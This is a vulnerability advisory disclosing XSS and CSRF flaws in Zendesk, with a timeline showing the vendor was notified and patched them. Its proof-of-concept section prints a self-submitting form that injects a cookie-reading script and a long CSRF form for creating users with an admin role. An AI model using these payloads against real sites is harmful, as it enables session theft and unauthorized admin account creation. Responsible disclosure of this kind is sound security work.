/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\ :Zendesk Multiple Vulnerabilities : \________________________________/ /Discovered By:\ |Luis Santana | \________________________________/ Overview ~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~ Luis Santana of the HackTalk Security team has found multiple vulnerabilities in Zendesk. Product Information ~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~ Product/Script: Zendesk Affected Version: Vulnerability Type: Multiple Security Risk: Multiple Vendor URL: http://zendesk.com Product/Script Demo: Vendor Status: Notified Patch/Fix Status: Patches Made Advisory Timeline:July 31st 9:34am EST - Zendesk Contacted about XSS July 31st 12:42pm EST - Ticket passed to Security Department July 31st 10:46pm EST - Zendesk has started producing patch. Given the go ahead to publicly disclose July 31st 1:00am EST - Found CSRF, continuing investigation August 1st 3:49pm EST - CSRF Patch in production August 4th 3:51am EST - CSRF patch being rolled out August 10th 3:36pm EST - Given the ok to post advisory publicly Advisory URL: http://hacktalk.net/exploit/exploit.php?n=10 Product Description ~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~ Web-based customer support software with elegant ticket mnagement and a self-service customer community platform. Agile, smart and convenient. (From http://www.zendesk.com) Vulnerability Details ~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~ XSS - The email address field of the anonymous_requests page is vulnerable to XSS due to lack of input sanitation. By crafting a malcious POST request an attacker is able to inject HTML, Javascript or AJAX into the anonymous_requests page. CSRF - Due to a lack of input sanitation many forms are vulnerable to CSRF. The most notable example is the new user creation form which allows an attacker to create a new administrative user. Proof of Concept ~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~ XSS - <html> <head></head> <body> <form method="POST" action="https://site.com/anonymous_requests"name="explForm"> <input type=hidden name=email value='"><script>alert("I could have just stolen your cookie" + document.cookie);</script>' </form> <script language="Javascript"> setTimeout('explForm.submit()', 1000 * 1); </script> </body> CSRF - <form action="http://site.com/users" class="new_user" enctype="multipart/form-data" id="user-form" method="post" name="userform" onsubmit="return submitUser()"> <input id="ignore-upload-user" name="ignoreupload" type="hidden" value="0" /> <h2>Name <span class="sub">Display name used throughout the help desk.</span></h2> <input id="user_name" name="user[name]" size="30" type="text" /> <!--<p>Display name used throughout the help desk.</p>--> <h3> Email <span class="sub">Used when logging in.</span> </h3> <input id="user_email" name="user[email]" size="30" type="text" /> <h3> Twitter account </h3> <input id="user_new_twitter_identity" name="user[new_twitter_identity]" size="30" type="text" /> <h3>Phone number <span class="sub">Optional.</span></h3> <input id="user_phone" name="user[phone]" size="30" type="text" /> <h3>Time zone</h3> <select id="user_time_zone" name="user[time_zone]"><option value="International Date Line West">(GMT-11:00) International Date Line West</option> <option value="Midway Island">(GMT-11:00) Midway Island</option> <option value="Samoa">(GMT-11:00) Samoa</option> <option value="Hawaii">(GMT-10:00) Hawaii</option> <option value="Alaska">(GMT-09:00) Alaska</option> <option value="Pacific Time (US & Canada)">(GMT-08:00) Pacific Time (US & Canada)</option> <option value="Tijuana">(GMT-08:00) Tijuana</option> <option value="Arizona">(GMT-07:00) Arizona</option> <option value="Chihuahua">(GMT-07:00) Chihuahua</option> <option value="Mazatlan">(GMT-07:00) Mazatlan</option> <option value="Mountain Time (US & Canada)">(GMT-07:00) Mountain Time (US & Canada)</option> <option value="Central America">(GMT-06:00) Central America</option> <option value="Central Time (US & Canada)">(GMT-06:00) Central Time (US & Canada)</option> <option value="Guadalajara">(GMT-06:00) Guadalajara</option> <option value="Mexico City">(GMT-06:00) Mexico City</option> <option value="Monterrey">(GMT-06:00) Monterrey</option> <option value="Saskatchewan">(GMT-06:00) Saskatchewan</option> <option value="Bogota" selected="selected">(GMT-05:00) Bogota</option> <option value="Eastern Time (US & Canada)">(GMT-05:00) Eastern Time (US & Canada)</option> <option value="Indiana (East)">(GMT-05:00) Indiana (East)</option> <option value="Lima">(GMT-05:00) Lima</option> <option value="Quito">(GMT-05:00) Quito</option> <option value="Caracas">(GMT-04:30) Caracas</option> <option value="Atlantic Time (Canada)">(GMT-04:00) Atlantic Time (Canada)</option> <option value="La Paz">(GMT-04:00) La Paz</option> <option value="Santiago">(GMT-04:00) Santiago</option> <option value="Newfoundland">(GMT-03:30) Newfoundland</option> <option value="Brasilia">(GMT-03:00) Brasilia</option> <option value="Buenos Aires">(GMT-03:00) Buenos Aires</option> <option value="Georgetown">(GMT-03:00) Georgetown</option> <option value="Greenland">(GMT-03:00) Greenland</option> <option value="Mid-Atlantic">(GMT-02:00) Mid-Atlantic</option> <option value="Azores">(GMT-01:00) Azores</option> <option value="Cape Verde Is.">(GMT-01:00) Cape Verde Is.</option> <option value="Casablanca">(GMT+00:00) Casablanca</option> <option value="Dublin">(GMT+00:00) Dublin</option> <option value="Edinburgh">(GMT+00:00) Edinburgh</option> <option value="Lisbon">(GMT+00:00) Lisbon</option> <option value="London">(GMT+00:00) London</option> <option value="Monrovia">(GMT+00:00) Monrovia</option> <option value="UTC">(GMT+00:00) UTC</option> <option value="Amsterdam">(GMT+01:00) Amsterdam</option> <option value="Belgrade">(GMT+01:00) Belgrade</option> <option value="Berlin">(GMT+01:00) Berlin</option> <option value="Bern">(GMT+01:00) Bern</option> <option value="Bratislava">(GMT+01:00) Bratislava</option> <option value="Brussels">(GMT+01:00) Brussels</option> <option value="Budapest">(GMT+01:00) Budapest</option> <option value="Copenhagen">(GMT+01:00) Copenhagen</option> <option value="Ljubljana">(GMT+01:00) Ljubljana</option> <option value="Madrid">(GMT+01:00) Madrid</option> <option value="Paris">(GMT+01:00) Paris</option> <option value="Prague">(GMT+01:00) Prague</option> <option value="Rome">(GMT+01:00) Rome</option> <option value="Sarajevo">(GMT+01:00) Sarajevo</option> <option value="Skopje">(GMT+01:00) Skopje</option> <option value="Stockholm">(GMT+01:00) Stockholm</option> <option value="Vienna">(GMT+01:00) Vienna</option> <option value="Warsaw">(GMT+01:00) Warsaw</option> <option value="West Central Africa">(GMT+01:00) West Central Africa</option> <option value="Zagreb">(GMT+01:00) Zagreb</option> <option value="Athens">(GMT+02:00) Athens</option> <option value="Bucharest">(GMT+02:00) Bucharest</option> <option value="Cairo">(GMT+02:00) Cairo</option> <option value="Harare">(GMT+02:00) Harare</option> <option value="Helsinki">(GMT+02:00) Helsinki</option> <option value="Istanbul">(GMT+02:00) Istanbul</option> <option value="Jerusalem">(GMT+02:00) Jerusalem</option> <option value="Kyev">(GMT+02:00) Kyev</option> <option value="Minsk">(GMT+02:00) Minsk</option> <option value="Pretoria">(GMT+02:00) Pretoria</option> <option value="Riga">(GMT+02:00) Riga</option> <option value="Sofia">(GMT+02:00) Sofia</option> <option value="Tallinn">(GMT+02:00) Tallinn</option> <option value="Vilnius">(GMT+02:00) Vilnius</option> <option value="Baghdad">(GMT+03:00) Baghdad</option> <option value="Kuwait">(GMT+03:00) Kuwait</option> <option value="Moscow">(GMT+03:00) Moscow</option> <option value="Nairobi">(GMT+03:00) Nairobi</option> <option value="Riyadh">(GMT+03:00) Riyadh</option> <option value="St. Petersburg">(GMT+03:00) St. Petersburg</option> <option value="Volgograd">(GMT+03:00) Volgograd</option> <option value="Tehran">(GMT+03:30) Tehran</option> <option value="Abu Dhabi">(GMT+04:00) Abu Dhabi</option> <option value="Baku">(GMT+04:00) Baku</option> <option value="Muscat">(GMT+04:00) Muscat</option> <option value="Tbilisi">(GMT+04:00) Tbilisi</option> <option value="Yerevan">(GMT+04:00) Yerevan</option> <option value="Kabul">(GMT+04:30) Kabul</option> <option value="Ekaterinburg">(GMT+05:00) Ekaterinburg</option> <option value="Islamabad">(GMT+05:00) Islamabad</option> <option value="Karachi">(GMT+05:00) Karachi</option> <option value="Tashkent">(GMT+05:00) Tashkent</option> <option value="Chennai">(GMT+05:30) Chennai</option> <option value="Kolkata">(GMT+05:30) Kolkata</option> <option value="Mumbai">(GMT+05:30) Mumbai</option> <option value="New Delhi">(GMT+05:30) New Delhi</option> <option value="Sri Jayawardenepura">(GMT+05:30) Sri Jayawardenepura</option> <option value="Kathmandu">(GMT+05:45) Kathmandu</option> <option value="Almaty">(GMT+06:00) Almaty</option> <option value="Astana">(GMT+06:00) Astana</option> <option value="Dhaka">(GMT+06:00) Dhaka</option> <option value="Novosibirsk">(GMT+06:00) Novosibirsk</option> <option value="Rangoon">(GMT+06:30) Rangoon</option> <option value="Bangkok">(GMT+07:00) Bangkok</option> <option value="Hanoi">(GMT+07:00) Hanoi</option> <option value="Jakarta">(GMT+07:00) Jakarta</option> <option value="Krasnoyarsk">(GMT+07:00) Krasnoyarsk</option> <option value="Beijing">(GMT+08:00) Beijing</option> <option value="Chongqing">(GMT+08:00) Chongqing</option> <option value="Hong Kong">(GMT+08:00) Hong Kong</option> <option value="Irkutsk">(GMT+08:00) Irkutsk</option> <option value="Kuala Lumpur">(GMT+08:00) Kuala Lumpur</option> <option value="Perth">(GMT+08:00) Perth</option> <option value="Singapore">(GMT+08:00) Singapore</option> <option value="Taipei">(GMT+08:00) Taipei</option> <option value="Ulaan Bataar">(GMT+08:00) Ulaan Bataar</option> <option value="Urumqi">(GMT+08:00) Urumqi</option> <option value="Osaka">(GMT+09:00) Osaka</option> <option value="Sapporo">(GMT+09:00) Sapporo</option> <option value="Seoul">(GMT+09:00) Seoul</option> <option value="Tokyo">(GMT+09:00) Tokyo</option> <option value="Yakutsk">(GMT+09:00) Yakutsk</option> <option value="Adelaide">(GMT+09:30) Adelaide</option> <option value="Darwin">(GMT+09:30) Darwin</option> <option value="Brisbane">(GMT+10:00) Brisbane</option> <option value="Canberra">(GMT+10:00) Canberra</option> <option value="Guam">(GMT+10:00) Guam</option> <option value="Hobart">(GMT+10:00) Hobart</option> <option value="Melbourne">(GMT+10:00) Melbourne</option> <option value="Port Moresby">(GMT+10:00) Port Moresby</option> <option value="Sydney">(GMT+10:00) Sydney</option> <option value="Vladivostok">(GMT+10:00) Vladivostok</option> <option value="Magadan">(GMT+11:00) Magadan</option> <option value="New Caledonia">(GMT+11:00) New Caledonia</option> <option value="Solomon Is.">(GMT+11:00) Solomon Is.</option> <option value="Auckland">(GMT+12:00) Auckland</option> <option value="Fiji">(GMT+12:00) Fiji</option> <option value="Kamchatka">(GMT+12:00) Kamchatka</option> <option value="Marshall Is.">(GMT+12:00) Marshall Is.</option> <option value="Wellington">(GMT+12:00) Wellington</option> <option value="Nuku'alofa">(GMT+13:00) Nuku'alofa</option><option value="" disabled="disabled">-------------</option> </select> <a name="photo"> <h3>Photo <span class="sub">An optional smiling face. For the best results, upload a photo with equal length and height.</span></h3> <input id="photo_uploaded_data" name="photo[uploaded_data]" type="file" /> </a> <h3>Detailed information</h3> <textarea cols="60" id="user_details" name="user[details]" rows="5"></textarea> <p>Optional detailed information concerning this user, e.g. an address. This information is visible to agents only, never to end-users.</p> <h3>Notes</h3> <textarea cols="60" id="user_notes" name="user[notes]" rows="5"></textarea> <p>Optional notes concerning this user. Notes can also be added/edited for a requester directly on the ticket form page.<br/>Notes are visible to agents only, never to any end-user.</p> <div id="organization-block"> <h3>Organization</h3> <select id="user_organization_id" name="user[organization_id]" style="width:auto;"><option value="">(None)</option> <option value="237057">HackTalk Security</option></select> <p>Leave blank to select default organization according to organization mappings.</p> </div> <h3>Role - privileges granted to this user</h3> <h4> <input checked="checked" id="user-radio" name="user[roles]" onclick="checkAgent();" type="radio" value="0" /> End-user. <span class="sub">Submits support tickets to the help desk.</span> </h4> <div id="end_user_block" class="indented_option" style=""> <h4>Has access to:</h4> <p><input checked="checked" id="user_restriction_id_4" name="user[restriction_id]" type="radio" value="4" /> Tickets requested by user only</p> <p><input id="user_restriction_id_2" name="user[restriction_id]" type="radio" value="2" /> Tickets from user's organization</p> <p>Note - if the user belongs to a shared organization, then the user always has access to tickets in the organization.</p> </div> <h4> <input id="user_roles_4" name="user[roles]" onclick="checkAgent();" type="radio" value="4" /> Agent. <span class="sub">Help desk operator. Receives and resolves tickets from end-users.</span> </h4> <div id="agent_block" class="indented_option" style="display:none;"> <div id="agent_groups"></div> <h4>Has access to:</h4> <p><input id="user_restriction_id_0" name="user[restriction_id]" type="radio" value="0" /> All tickets <span class="sub">(can also add, modify and assume end-users)</span></p> <p> <input type="radio" value="2" name="user[restriction_id]" id="snov"/> Tickets requested by users in this agent's organization <span class="sub">(also can't see forums restricted to other organizations)</span> </p> <p><input id="user_restriction_id_3" name="user[restriction_id]" type="radio" value="3" /> Tickets assigned to this agent only</p> <h4>Can add ticket comments that are:</h4> <p> <label class="option"><input checked="checked" class="radio" id="user_is_private_comments_only_false" name="user[is_private_comments_only]" type="radio" value="false" /> Public or private</label> <label class="option"><input class="radio" id="user_is_private_comments_only_true" name="user[is_private_comments_only]" type="radio" value="true" /> Private only (viewable only by other agents)</label> </p> <h4>Can moderate (edit, delete and reorder) topics in forums:</h4> <p> <label class="option"><input class="radio" id="user_is_moderator_true" name="user[is_moderator]" type="radio" value="true" /> Yes</label> <label class="option"><input checked="checked" class="radio" id="user_is_moderator_false" name="user[is_moderator]" type="radio" value="false" /> No</label> </p> </div> <h4> <input id="user_roles_2" name="user[roles]" onclick="checkAgent();" type="radio" value="2" /> Admin. <span class="sub">Manages the help desk with regard to rules, users, organizations, groups and SLA's. Has access to all tickets.</span> <div id="admin_groups" class="indented_option"></div> </h4> <div class="action"> <input class="buttonsubmit" id="submit-button" name="commit" type="submit" value="Create" /> </div> Patch/Fix Suggestion(s) ~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~ Upgrade to the latest version of Zendesk as they have released patches for these vulnerabilities. Security Risk ~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~ XSS - Low CSRF - Mid Author: ~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~_¯~ The Author and Researcher of this Advisory is Luis Santana of the HackTalk Security Team
体验盒子
